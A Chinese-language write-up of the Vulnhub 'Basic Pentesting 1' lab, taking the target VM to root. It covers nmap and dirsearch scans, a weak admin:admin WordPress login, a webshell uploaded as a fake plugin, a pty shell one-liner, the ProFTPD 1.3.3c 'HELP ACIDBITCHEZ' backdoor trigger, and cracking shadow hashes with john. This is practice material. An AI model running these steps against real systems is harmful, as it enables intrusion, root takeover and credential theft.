文章

Vulnhub basic pentesting 1 Writeup

Vulnhub basic pentesting 1 過程最終取得Root

Vulnhub basic pentesting 1 Writeup

Before

  • 攻擊者ip 192.168.18.136
  • 靶機ip 192.168.18.139

服務掃描

對靶機192.168.18.139進行服務掃描:

1
nmap -sV -sT -p- 192.168.18.139

掃描結果:

1
2
3
4
5
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c 
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  • ProFTPD 1.3.3c CVE-2015-3306
  • OpenSSH 7.2p2 CVE-2016-0777,CVE-2016-0778
  • Apache httpd 2.4.18 CVE-2016-5387

一開始沒有去注意到這麼多CVE就直接去打網頁了


目錄掃描

使用 dirsearch 工具進行目錄掃描:

1
dirsearch -u "192.168.18.139"

掃描結果:

1
2
3
4
5
[14:24:47] 200 -  177B  - /index.html
[14:24:53] 301 -  317B  - /secret  ->  http://192.168.18.139/secret/
[14:24:53] 200 -   52KB - /secret/
[14:24:54] 403 -  303B  - /server-status/
[14:24:54] 403 -  302B  - /server-status

http://192.168.18.139/secret/ 發現了域名 http://vtcsec/ 和管理員登入介面 http://vtcsec/secret/wp-login.php

起手式admin:admin(弱密碼) 成功登入


利用WP plugin

製作假plugin裡面含webshell上傳到伺服器

WP plugin所需的標頭加入到webshell裡面:

1
2
3
4
5
6
7
8
9
/*
Plugin Name: wordprees webshell
Plugin URI: IDK
Description: this plugin is websehll 
Version: 1.0
Author: hacker
Author URI: IDK
License: GPL2
*/

訪問 http://vtcsec/secret/wp-admin/plugins.php?plugin=wp_webshell%2Fwp_webshell.phpwebshell執行 成功RCE


交互式Bash Shell

利用webshell送出指令取得交互式的Bash shell:

1
python -c 'import pty;pty.spawn("/bin/bash")'

後續操作

/home/marlinspike找路徑看到才發現ProFTPD 1.3.3c的後門漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz
046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz.bak
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backdoored_proftpd-1.3.3c
examples.desktop
latest.tar.gz
proftpd-1.3.3c
proftpd-1.3.3c.tar.bz2
proftpd-1.3.3c.tar.bz2.bak
wordpress

發現 ProFTPD 1.3.3c 存在後門漏洞 CVE-2015-3306,特定指令可獲得 root 權限:

1
2
3
4
5
ps aux | grep proftpd

nc 192.168.18.139 21

HELP ACIDBITCHEZ

getrootimage

可以使用metasoloit但是我還沒學 哈哈哈哈哈哈


密碼爆破

  • 準備文件
    • passwd.txt: 這個文件包含了 /etc/passwd 文件的內容,列出了系統中的用戶和基本信息,但不包括密碼哈希。
    • shadow.txt: 這個文件包含了 /etc/shadow 文件的內容,存儲了加密的密碼哈希。
  • 合併文件

    • 使用 unshadow 工具來將 passwd.txtshadow.txt 合併成一個文件 combined.txt,這個文件包含了用戶名和加密的密碼哈希,格式適合於 john 工具進行破解:

      1
      
        sudo unshadow passwd.txt shadow.txt > combined.txt
      
  • 破解密碼

    • 使用 john 工具來對 combined.txt 文件中的密碼哈希進行破解:

      1
      
        john combined.txt
      
    • john 會嘗試使用字典攻擊和其他破解技術來解密密碼哈希。

  • 顯示結果

    • 破解完成後,使用 john--show 選項來顯示破解得到的原始密碼:

      1
      
        john --show combined.txt
      
    • 會顯示出密碼(********)。


本文章以 CC BY 4.0 授權

熱門標籤